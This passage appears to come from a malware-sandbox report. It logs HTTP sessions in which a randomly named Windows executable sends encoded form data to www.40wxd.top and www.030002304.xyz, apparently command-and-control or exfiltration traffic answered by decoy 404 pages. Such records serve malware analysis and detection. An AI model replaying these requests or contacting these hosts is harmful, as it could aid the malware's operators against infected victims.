6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	63367	206.119.82.134	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:28.819073915 CEST	10856	OUT	POST /v4cy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.40wxd.top Origin: http://www.40wxd.top Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.40wxd.top/v4cy/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 56 34 64 37 7a 53 4f 73 6a 4c 55 2f 69 76 46 6e 65 6e 31 38 76 4f 55 5a 42 53 67 38 4c 75 2f 57 71 43 6e 75 6e 7a 67 4c 7a 4c 31 38 43 5a 7a 2f 45 50 45 4c 46 76 4f 35 62 42 37 6d 2f 71 53 49 38 74 43 41 34 69 62 6e 56 4a 5a 32 70 72 48 78 76 53 42 65 69 41 6e 65 6e 6f 58 41 58 4d 43 37 58 38 74 76 68 67 49 4e 46 7a 67 4e 67 4a 56 67 70 72 57 76 33 31 75 79 50 73 4c 4e 41 35 76 45 43 63 37 4e 64 64 69 6d 54 61 6e 58 77 41 63 6f 4b 30 2f 66 4b 39 64 44 57 74 41 35 39 54 57 61 6d 2b 41 79 64 36 4e 36 6f 72 6a 4b 5a 6a 48 72 6a 30 4e 33 4a 69 69 58 42 4f 46 30 48 71 6b 2f 52 47 6f 41 57 62 2b 6e 46 61 33 57 62 36 65 55 52 57 77 62 5a 54 45 35 47 73 68 30 6b 31 51 44 6b 45 4b 47 35 54 61 4d 70 71 76 62 4e 74 43 70 45 4b 35 4a 69 66 62 6a 69 72 61 41 32 4d 4b 79 6c 36 4c 6b 68 51 45 4e 67 46 36 37 69 71 76 34 67 70 4e 4f 48 58 52 57 47 57 7a 53 71 75 50 6d 6b 55 67 69 75 63 62 54 79 67 66 31 43 59 57 5a 4e 74 73 74 6b 6d 4d 52 55 67 37 6c 76 37 67 67 46 73 45 54 5a 73 42 6e 62 6b 38 4e 56 [TRUNCATED] Data Ascii: pP_8=V4d7zSOsjLU/ivFnen18vOUZBSg8Lu/WqCnunzgLzL18CZz/EPELFvO5bB7m/qSI8tCA4ibnVJZ2prHxvSBeiAnenoXAXMC7X8tvhgINFzgNgJVgprWv31uyPsLNA5vECc7NddimTanXwAcoK0/fK9dDWtA59TWam+Ayd6N6orjKZjHrj0N3JiiXBOF0Hqk/RGoAWb+nFa3Wb6eURWwbZTE5Gsh0k1QDkEKG5TaMpqvbNtCpEK5JifbjiraA2MKyl6LkhQENgF67iqv4gpNOHXRWGWzSquPmkUgiucbTygf1CYWZNtstkmMRUg7lv7ggFsETZsBnbk8NV6kyFfJiMwghrAMY27VesjVl7/lfy7+GDxV+SqJ0HVw+GIVRMYYqwKfOL3A/Oj/DbL8JOqtPX0r7Ow6Y5PR46s3+Q87F0DSUbCWUibGC2jcrpStrbHmxZVfadlDPAhq+Pr+IAAhkTbP9bXzkvPGVyQsVHxYk0b6gLF1cKCB/37RBstM/Cw9N4xybTd+KEq/LotAKunMkywX+kghKmC3eP/7MfVKwF/wAWz28/8Q3+RYmYsGqKNaLc/wK86oMt2Fr6zjkkhYlTeRsmBhzdBLUH8fJm0CmPxlswfsFvPHh07bC510KOlUu6Y4KB50DHnm94BqhFWJs9YoQ6etLRt2Csxo5uNHAjizJuRcZpNjB3pI/3kma4kvYSRRkOTzYr5DbhUVp8YHhNgif6H5rtSVrgQKgA6jPskq79mSJF3aberXZfu9WvYmmdwmqMBffHfcC5xenA+8ZAJnPKCzqj5cDau981o2E9CNOUtq3d8obQR/T+h63VWnPh/ZfAXyaXjobw3eyq9PI7P96lOjaoT+y4YMouGGniq5fOJWjtDd1S4ccwrjGa5cr1zouODYtQ12Y6xSne581pMJ5bIF2IrnBwpg0EqLstX5GeuJzZldS3tepmWofZvuQa/0WqqTM/U8lYThyG6omZTA/0NYbddNAaVj1/CK4R1eCtXL [TRUNCATED]
Sep 11, 2024 11:20:29.713053942 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Sep 2024 09:20:29 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	63368	206.119.82.134	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:31.357500076 CEST	496	OUT	GET /v4cy/?pP_8=Y61bwknhs9hp9ZZcYkoE/rAHAVoATd7g+jLHgGwEyJh/LKrsM6hsQ8y2QWfg6r+Pzdmi8z7VAqFTz6bCx0F+lD/ii+PJJ/2nHI8msyIEMT4A2MQn/4udzH0=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.40wxd.top Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:20:32.262432098 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Sep 2024 09:20:32 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	63369	65.21.196.90	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:37.384572029 CEST	766	OUT	POST /tmpg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.030002304.xyz Origin: http://www.030002304.xyz Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.030002304.xyz/tmpg/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 50 58 6e 61 6c 59 50 54 34 30 49 66 49 72 56 57 59 78 70 57 6d 76 6a 73 6d 72 74 4d 63 74 6f 4b 38 6d 57 78 79 64 74 74 78 6b 2f 6f 39 6a 47 69 4d 6e 62 71 41 48 58 76 56 6e 46 4c 31 46 76 62 54 39 69 45 61 73 76 6c 57 4f 62 52 4e 38 30 79 33 52 42 76 4e 36 48 4f 56 53 68 48 52 65 44 50 46 59 53 6a 7a 48 78 55 34 43 42 61 49 37 48 6a 72 69 2f 33 68 34 78 37 62 45 4b 58 7a 61 75 68 4f 34 34 58 6f 53 47 72 35 4f 35 47 4a 65 74 55 75 30 36 4a 48 61 68 33 39 43 57 44 48 73 49 2b 76 68 74 4f 4e 59 64 39 72 57 59 4a 49 4a 51 6d 7a 6e 51 43 4e 64 62 66 68 6a 32 49 6b 56 72 62 69 41 3d 3d Data Ascii: pP_8=PXnalYPT40IfIrVWYxpWmvjsmrtMctoK8mWxydttxk/o9jGiMnbqAHXvVnFL1FvbT9iEasvlWObRN80y3RBvN6HOVShHReDPFYSjzHxU4CBaI7Hjri/3h4x7bEKXzauhO44XoSGr5O5GJetUu06JHah39CWDHsI+vhtONYd9rWYJIJQmznQCNdbfhj2IkVrbiA==
Sep 11, 2024 11:20:38.047235966 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 11 Sep 2024 09:20:37 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	63370	65.21.196.90	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:39.927700043 CEST	786	OUT	POST /tmpg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.030002304.xyz Origin: http://www.030002304.xyz Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.030002304.xyz/tmpg/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 50 58 6e 61 6c 59 50 54 34 30 49 66 4f 49 4e 57 4c 69 42 57 76 76 6a 72 73 4c 74 4d 56 4e 6f 4f 38 6d 61 78 79 63 70 62 78 32 62 6f 39 43 32 69 65 6d 62 71 48 48 58 76 64 48 46 4f 37 6c 76 51 54 39 65 4d 61 75 37 6c 57 4f 66 52 4e 34 34 79 32 6d 56 67 4d 71 48 4d 5a 79 68 46 56 65 44 50 46 59 53 6a 7a 48 31 79 34 43 5a 61 49 4b 33 6a 73 7a 2f 30 76 59 78 36 4c 6b 4b 58 6c 71 76 6f 4f 34 34 50 6f 51 6a 2b 35 4e 42 47 4a 65 39 55 75 68 57 4b 4f 61 68 31 35 43 57 53 57 63 4a 4d 32 7a 77 39 4e 59 5a 38 79 44 39 30 4e 50 42 38 69 57 78 56 66 64 2f 73 38 6b 2f 38 70 57 57 53 35 4d 33 6f 45 74 4c 45 2f 47 4c 31 64 47 37 32 4a 49 38 77 45 75 59 3d Data Ascii: pP_8=PXnalYPT40IfOINWLiBWvvjrsLtMVNoO8maxycpbx2bo9C2iembqHHXvdHFO7lvQT9eMau7lWOfRN44y2mVgMqHMZyhFVeDPFYSjzH1y4CZaIK3jsz/0vYx6LkKXlqvoO44PoQj+5NBGJe9UuhWKOah15CWSWcJM2zw9NYZ8yD90NPB8iWxVfd/s8k/8pWWS5M3oEtLE/GL1dG72JI8wEuY=
Sep 11, 2024 11:20:40.714804888 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 11 Sep 2024 09:20:40 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	63371	65.21.196.90	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:42.547439098 CEST	10868	OUT	POST /tmpg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.030002304.xyz Origin: http://www.030002304.xyz Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.030002304.xyz/tmpg/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 50 58 6e 61 6c 59 50 54 34 30 49 66 4f 49 4e 57 4c 69 42 57 76 76 6a 72 73 4c 74 4d 56 4e 6f 4f 38 6d 61 78 79 63 70 62 78 32 54 6f 36 78 2b 69 4d 46 44 71 47 48 58 76 54 6e 46 50 37 6c 76 4a 54 35 4b 49 61 75 6e 66 57 4d 58 52 50 62 77 79 78 54 35 67 43 71 48 4d 52 53 68 45 52 65 44 47 46 59 69 6e 7a 48 46 79 34 43 5a 61 49 49 76 6a 36 79 2f 30 69 34 78 37 62 45 4b 6c 7a 61 75 42 4f 34 67 66 6f 51 6e 75 35 38 68 47 4a 36 68 55 72 58 43 4b 50 36 68 72 30 69 58 50 57 63 46 58 32 7a 39 47 4e 62 45 5a 79 46 42 30 41 49 45 49 2f 69 46 31 4a 72 58 72 6e 47 50 66 78 57 71 44 34 75 6e 57 45 5a 76 71 6e 53 50 33 57 68 75 4f 63 61 73 37 54 4c 34 2f 76 75 6f 59 70 72 44 56 4b 71 6b 58 68 6c 37 2f 47 68 56 70 71 50 6c 47 47 7a 58 39 34 36 43 6b 2b 39 63 52 57 6b 55 62 4b 4f 65 31 5a 74 6e 78 35 45 69 59 4b 2b 6e 55 6d 4c 71 55 2f 71 67 45 4a 79 79 6e 35 6e 48 76 30 56 6d 4d 73 5a 72 4f 30 52 53 39 74 6d 42 51 67 77 6f 72 32 41 37 58 56 34 7a 6e 4a 64 75 68 6e 65 67 6a 71 4b 7a 52 73 4f 6b 4a 32 [TRUNCATED] Data Ascii: pP_8=PXnalYPT40IfOINWLiBWvvjrsLtMVNoO8maxycpbx2To6x+iMFDqGHXvTnFP7lvJT5KIaunfWMXRPbwyxT5gCqHMRShEReDGFYinzHFy4CZaIIvj6y/0i4x7bEKlzauBO4gfoQnu58hGJ6hUrXCKP6hr0iXPWcFX2z9GNbEZyFB0AIEI/iF1JrXrnGPfxWqD4unWEZvqnSP3WhuOcas7TL4/vuoYprDVKqkXhl7/GhVpqPlGGzX946Ck+9cRWkUbKOe1Ztnx5EiYK+nUmLqU/qgEJyyn5nHv0VmMsZrO0RS9tmBQgwor2A7XV4znJduhnegjqKzRsOkJ2+TkCRvahxSTO9RIJtv99CkZ6zv73eaQyW9m3A7NNfqthqjlUqA0vKK6m1Zbi66KD/jXhGNDReoCwgoTEghByHsFwTQ3nuTDeNYS6Xd0ajYKwgeWm8CbdbRrdj0o0hMcbByrz+5jKNGHEa4t6zS1TJMFCDfGp+IdYGLPBA9j0DgvNPkD9bvDuaqvfQN+Q//I8tqcVPR/M1HO58xgII8FG6lgOht1nsafdcMvylb4LWGI0vate3v3/6kfCK6SsRTSfDyy2V8dmESI2E4frHy4UgdaQTmtqA2W1mEurC6K6EU3Q4juTmlRRDqWYOsTFhs/tJCNVM393ucGOdRIW6QyMdDeZCxEtGXJs4d8pHyPfxhKbS5t0OheHHcXHq5oY8SzIlN4PbjkR7Lz/as500i1EICkvBt26peTSVbfKC207SGIhQk5amox6KKB/vqA5zutOIS+bDwqSItXgQWf7tLMt1s9qexl5vnkn0IbsWUh3iQ78NGyTicTGwQNJKY8gyTjAsO77up+1CzaAL17mAxiEIw9CxFsHpCmqX0thDLWQBAYZOo1E6N0QLOWbqudiwEOrPQmmc+KOVcJPLmq4I1xrBHxZTWSvUfoqVqJMj7C0cDOA+8iLSG/qpUcPw/qxaOpGekpBUH/zkOu3xwEdBCM2uJrOm0631/BBfP [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	63372	65.21.196.90	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:45.093060970 CEST	500	OUT	GET /tmpg/?pP_8=CVP6mu+p7AIAUeNlIzILzbbwoLVaLtEPp22R6YZws2HFwQ6gURLmFkDuTnsSzWDqU9qDd9fOW/TdFJInumJ7doiOdR5iBNH/a8rQv0stnRBrBPHE6g/KoYg=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.030002304.xyz Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:20:45.743110895 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 11 Sep 2024 09:20:45 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	63373	38.181.141.122	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
